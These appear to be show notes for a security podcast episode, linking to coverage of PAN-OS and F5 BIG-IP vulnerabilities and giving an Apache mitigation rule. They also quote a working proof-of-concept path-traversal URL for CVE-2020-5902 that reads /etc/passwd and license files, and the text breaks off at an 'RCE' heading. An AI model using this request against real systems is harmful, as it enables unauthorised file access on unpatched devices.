2020-026- WISP PSA, PAN-OS vuln redux, F5 has a bad weekend, vuln scoring, Twitter advice, and more!

<p>1st: WISP.org PSA from Rachel Tobac (@racheltobac) & @wisporg talking about #shareTheMicInCyber</p> <p><span style="font-weight: 400;">#SAML PAN-OS:</span> <a href= "https://twitter.com/RyanLNewington/status/1278074919092289537"><span style="font-weight: 400;"> https://twitter.com/RyanLNewington/status/1278074919092289537</span></a></p> <p><span style="font-weight: 400;"> F5 vulnerability:</span></p> <p><a href= "https://www.wired.com/story/f5-big-ip-networking-vulnerability/"><span style="font-weight: 400;"> https://www.wired.com/story/f5-big-ip-networking-vulnerability/</span></a></p> <p><a href= "https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/"> <span style= "font-weight: 400;">https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/</span></a></p> <p> </p> <p><span style="font-weight: 400;">F5 Mitigation (if patching is not immediately possible):</span> <a href= "https://twitter.com/TeamAresSec/status/1280590730684256258"><span style="font-weight: 400;"> https://twitter.com/TeamAresSec/status/1280590730684256258</span></a></p> <p><strong><LocationMatch ";"></strong></p> <p><strong>Redirect 404 /</strong></p> <p><strong></LocationMatch></strong></p> <p> </p> <p><a href= "https://twitter.com/wugeej/status/1280008779359125504"><span style="font-weight: 400;"> https://twitter.com/wugeej/status/1280008779359125504</span></a> <span style="font-weight: 400;">- Tweet with PoC for the LFI and RCE</span></p> <p><span style="font-weight: 400;">F5 Big-IP CVE-2020-5902 LFI and RCE</span></p> <p><span style="font-weight: 400;">LFI</span></p> <p><span style= "font-weight: 400;">https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd</span></p> <p><span style="font-weight: 400;">or /etc/hosts</span></p> <p><span style="font-weight: 400;">or /config/bigip.license</span></p> <p><span style="font-weight: 400;">RCE</span></p> <p><span style= "font-weight: 400;">h